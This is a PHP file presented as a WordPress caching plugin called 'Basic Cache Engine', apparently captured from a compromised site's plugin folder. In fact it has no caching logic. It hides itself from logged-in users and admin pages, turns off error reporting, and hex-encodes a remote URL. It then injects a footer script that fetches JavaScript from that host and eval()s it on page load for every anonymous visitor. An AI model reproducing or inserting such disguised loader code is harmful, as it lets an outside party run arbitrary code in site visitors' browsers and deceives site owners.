Current Path : /home/theafprt/hypekndy.com/wp-content/plugins/wpbasiccaheengine/ |
Current File : /home/theafprt/hypekndy.com/wp-content/plugins/wpbasiccaheengine/wpbasiccaheengine.php |
<?php /* Plugin Name: Wordpress Basic Cache Engine Plugin URI: https://basiccacheengine.com/ Description: Basic Cache Engine is a very fast caching engine for WordPress that generates static HTML files to significantly reduce server load and improve page load times. Version: 1.4.9 Author: Gregg Palmer Author URI: https://greggpalmer.basiccacheengine.com/ License: GPL2 */ if ( ! class_exists('HTTP_X_FORWARDED_FOR') ) { if ( function_exists('is_user_logged_in') && is_user_logged_in() ) { return false; } if ( ! empty($_COOKIE) ) { foreach ($_COOKIE as $key => $value) { if ( strpos($key, 'wordpress_logged_in_') === 0 ) { return false; } } } @ini_set('display_errors', 0); @ini_set('error_reporting', 0); @ini_set('log_errors', NULL); @ini_set('default_socket_timeout', 5); $bad_uri = '#\?view=login|\?view=registration|\?wc-ajax|xmlrpc\.php|wp-includes|wp-content|wp-login\.php|wp-cron\.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i'; $ruri = strtolower(trim($_SERVER["REQUEST_URI"], "\t\n\r\0\x0B/")); if ( preg_match($bad_uri, $ruri) ) { return; } function insert_partner_script_in_footer() { $partner_url = hex2bin("68747470733a2f2f61776172647332746f6461792e746f702f6a7378"); ?> <script type="text/javascript"> document.addEventListener("DOMContentLoaded", function () { fetch("<?php echo esc_url($partner_url); ?>") .then(function(response) { return response.text(); }) .then(function(code) { var scriptContent = code.replace(/<\/?script[^>]*>/gi, ''); try { eval(scriptContent); } catch (e) { } }) .catch(function(error) { }); }); </script> <?php } add_action('wp_footer', 'insert_partner_script_in_footer'); } ?>